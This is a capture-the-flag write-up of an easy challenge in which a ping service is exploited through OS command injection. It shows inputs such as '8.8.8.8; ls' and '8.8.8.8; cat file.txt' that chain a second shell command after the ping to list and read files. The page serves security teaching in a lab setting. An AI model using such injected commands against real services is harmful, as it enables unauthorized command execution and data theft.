DROPDOWN QUAKE HUD // TACTICAL SHELL
AUKA CTF Writeup Vault — Quake HUD Shell v3.1
Type 'help' for tactical commands or 'ls' to list catalog.
studio@vault:~$
AUKACTFVAULT._.
MISSION WRITEUP ID: cylab-ping-cmdPublished: 2026-08-25 by AUKA

Ping Command: Command Injection in Network Utility

Bypassing naive input validation on a network ping service using command chaining semicolons to execute arbitrary commands.

Target Mission Dossier
MiscEasy
Target Host / IP
mysterious-sea.picoctf.net
Operating System
Linux
Architecture
x86_64
Primary Vulnerability
CWE-78 (OS Command Injection)
Exposed Services:TCP/Socket Service
Attack Kill Chain Progress1 / 3 Steps
01

Phase 1: Reconnaissance via Netcat

The service asks for an IP address to ping:

studio@pwnbox:~/cylab-ping-cmd$
# Connect to target service:
nc mysterious-sea.picoctf.net <PORT>

# Prompt:
# Enter IP to ping: 8.8.8.8
# PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data...
02

Phase 2: Command Chaining & Arbitrary Execution

The backend concatenates the user input directly into a shell command such as `ping -c 1 {input}` without parameter sanitization. By appending `;`, we terminate the ping command and execute arbitrary commands.

studio@pwnbox:~/cylab-ping-cmd$
# Listing files in the current working directory:
# Input:
8.8.8.8; ls

# Output reveals:
# file.txt
# ping.sh
03

Phase 3: Reading the Flag File

We append `cat file.txt` to dump the flag contents:

studio@pwnbox:~/cylab-ping-cmd$
Flag: [REDACTED - Click "Reveal Flag" below]
studio@pwnbox:~/cylab-ping-cmd$
# Exploit input:
8.8.8.8; cat file.txt

Final Target Proof of Compromise

Target Root Capture Flag
STUDIO{pwn3d_fl4g_h1dd3n_h3x_00000}
AUKA CTF Writeup Vault — Official Field Handbook
[ Open Terminal Shell ]•[ Back to Top ]